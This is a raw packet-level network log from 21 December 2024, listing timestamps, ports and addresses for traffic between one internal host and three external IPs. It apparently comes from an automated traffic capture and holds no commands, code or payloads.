Dec 21, 2024 18:16:22.797058105 CET	49795	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:22.798244953 CET	49795	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:22.798258066 CET	443	49795	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:22.798751116 CET	443	49795	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:22.800256014 CET	49795	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:22.800390005 CET	49795	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:22.800416946 CET	443	49795	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:22.800476074 CET	49795	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:22.800486088 CET	443	49795	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:23.753580093 CET	443	49795	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:23.753835917 CET	443	49795	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:23.753905058 CET	49795	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:23.753957987 CET	49795	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:23.753985882 CET	443	49795	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:23.806422949 CET	49786	80	192.168.2.4	185.215.113.43
Dec 21, 2024 18:16:23.806837082 CET	49802	80	192.168.2.4	185.215.113.43
Dec 21, 2024 18:16:23.926363945 CET	80	49786	185.215.113.43	192.168.2.4
Dec 21, 2024 18:16:23.926383018 CET	80	49802	185.215.113.43	192.168.2.4
Dec 21, 2024 18:16:23.926493883 CET	49802	80	192.168.2.4	185.215.113.43
Dec 21, 2024 18:16:23.926537991 CET	49786	80	192.168.2.4	185.215.113.43
Dec 21, 2024 18:16:23.926666021 CET	49802	80	192.168.2.4	185.215.113.43
Dec 21, 2024 18:16:23.928788900 CET	49805	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:23.928873062 CET	443	49805	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:23.929527998 CET	49805	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:23.929672956 CET	49805	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:23.929708958 CET	443	49805	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:24.047945976 CET	80	49802	185.215.113.43	192.168.2.4
Dec 21, 2024 18:16:25.162826061 CET	443	49805	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:25.163091898 CET	49805	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:25.164310932 CET	49805	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:25.164365053 CET	443	49805	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:25.165416002 CET	443	49805	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:25.166630983 CET	49805	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:25.166630983 CET	49805	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:25.166630983 CET	49805	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:25.166764021 CET	443	49805	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:25.263499022 CET	80	49802	185.215.113.43	192.168.2.4
Dec 21, 2024 18:16:25.263588905 CET	49802	80	192.168.2.4	185.215.113.43
Dec 21, 2024 18:16:25.266299963 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:25.266568899 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:25.386435032 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:25.386509895 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:25.386524916 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:25.386630058 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:25.386648893 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:25.506274939 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:25.996047974 CET	443	49805	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:25.996326923 CET	443	49805	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:25.996428013 CET	49805	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:25.996573925 CET	49805	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:25.996613026 CET	443	49805	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:26.236047029 CET	49812	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:26.236092091 CET	443	49812	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:26.236198902 CET	49812	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:26.236603022 CET	49812	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:26.236620903 CET	443	49812	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:26.712439060 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:26.712472916 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:26.712491035 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:26.712519884 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:26.712554932 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:26.712616920 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:26.712635994 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:26.712654114 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:26.712660074 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:26.712691069 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:26.712749958 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:26.712766886 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:26.712789059 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:26.712794065 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:26.712814093 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:26.712821007 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:26.712841034 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:26.712861061 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:26.832425117 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:26.832453966 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:26.832520008 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:26.832556963 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:26.904679060 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:26.904758930 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:26.904814005 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:26.904867887 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:26.908659935 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:26.908746004 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:26.909054995 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:26.909107924 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:26.917175055 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:26.917200089 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:26.917238951 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:26.917274952 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:26.925698042 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:26.925724030 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:26.925756931 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:26.925780058 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:26.933998108 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:26.934063911 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:26.934113979 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:26.934163094 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:26.942169905 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:26.942219973 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:26.942356110 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:26.942405939 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:26.950840950 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:26.950917959 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:26.950925112 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:26.950961113 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:26.959129095 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:26.959191084 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:26.959304094 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:26.959352970 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:26.967469931 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:26.967554092 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:26.967644930 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:26.967691898 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:26.975769043 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:26.975831985 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:26.975877047 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:26.975929022 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:26.983401060 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:26.983418941 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:26.983449936 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:26.983470917 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.098571062 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.098598003 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.098772049 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.100881100 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.100936890 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.100941896 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.100986958 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.105840921 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.105918884 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.106106997 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.106157064 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.111047029 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.111093998 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.111115932 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.111161947 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.116051912 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.116116047 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.116230011 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.116285086 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.120903969 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.120978117 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.120987892 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.121027946 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.125837088 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.125888109 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.125910997 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.125952959 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.130605936 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.130672932 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.130820990 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.130872965 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.135344028 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.135436058 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.135687113 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.135737896 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.140113115 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.140204906 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.140207052 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.140302896 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.144866943 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.144946098 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.145345926 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.145417929 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.149502993 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.149565935 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.149588108 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.149640083 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.154550076 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.154607058 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.154623032 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.154654980 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.159491062 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.159568071 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.159586906 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.159642935 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.164501905 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.164598942 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.164657116 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.164711952 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.169038057 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.169091940 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.169115067 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.169135094 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.173782110 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.173857927 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.173877001 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.173930883 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.178595066 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.178721905 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.178741932 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.178795099 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.183760881 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.183816910 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.183826923 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.183860064 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.188158989 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.188219070 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.290396929 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.290465117 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.290513039 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.290568113 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.292202950 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.292273998 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.292982101 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.293050051 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.293066025 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.293124914 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.297455072 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.297532082 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.297558069 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.297941923 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.301520109 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.301573992 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.301579952 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.301625013 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.305443048 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.305522919 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.305531979 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.305589914 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.309155941 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.309211969 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.309417963 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.309482098 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.312923908 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.312980890 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.313190937 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.313245058 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.316857100 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.316912889 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.317011118 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.317063093 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.320626974 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.320683002 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.320696115 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.320729017 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.324248075 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.324357033 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.324362040 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.324408054 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.328010082 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.328064919 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.328072071 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.328109980 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.331353903 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.331409931 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.331473112 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.331523895 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.335266113 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.335330009 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.335361004 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.335417032 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.338951111 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.339004993 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.339010000 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.339056015 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.342567921 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.342643023 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.342695951 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.342750072 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.346183062 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.346246004 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.346328020 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.346380949 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.349963903 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.350018978 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.350023031 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.350070953 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.353593111 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.353655100 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.353682041 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.353734016 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.357249975 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.357368946 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.357402086 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.357453108 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.361248016 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.361304045 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.361306906 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.361355066 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.364648104 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.364715099 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.364738941 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.364790916 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.368479967 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.368535995 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.368546009 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.368582010 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.372118950 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.372176886 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.372204065 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.372255087 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.375896931 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.375951052 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.375955105 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.376003981 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.379524946 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.379656076 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.456830025 CET	443	49812	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:27.456948042 CET	49812	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:27.458563089 CET	49812	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:27.458590031 CET	443	49812	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:27.458961010 CET	443	49812	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:27.460150003 CET	49812	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:27.460283041 CET	49812	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:27.460340977 CET	443	49812	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:27.460433960 CET	49812	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:27.460464001 CET	443	49812	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:27.482606888 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.482661009 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.482722044 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.482758045 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.483942032 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.483994961 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.484009027 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.484040022 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.486603022 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.486659050 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.487695932 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.487755060 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.487766981 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.487817049 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.490766048 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.490828037 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.491226912 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.491291046 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.493562937 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.493621111 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.493664026 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.493716002 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.496515036 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.496620893 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.496625900 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.496701956 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.499257088 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.499452114 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.499480963 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:27.499535084 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:27.502037048 CET	80	49808	31.41.244.11	192.168.2.4
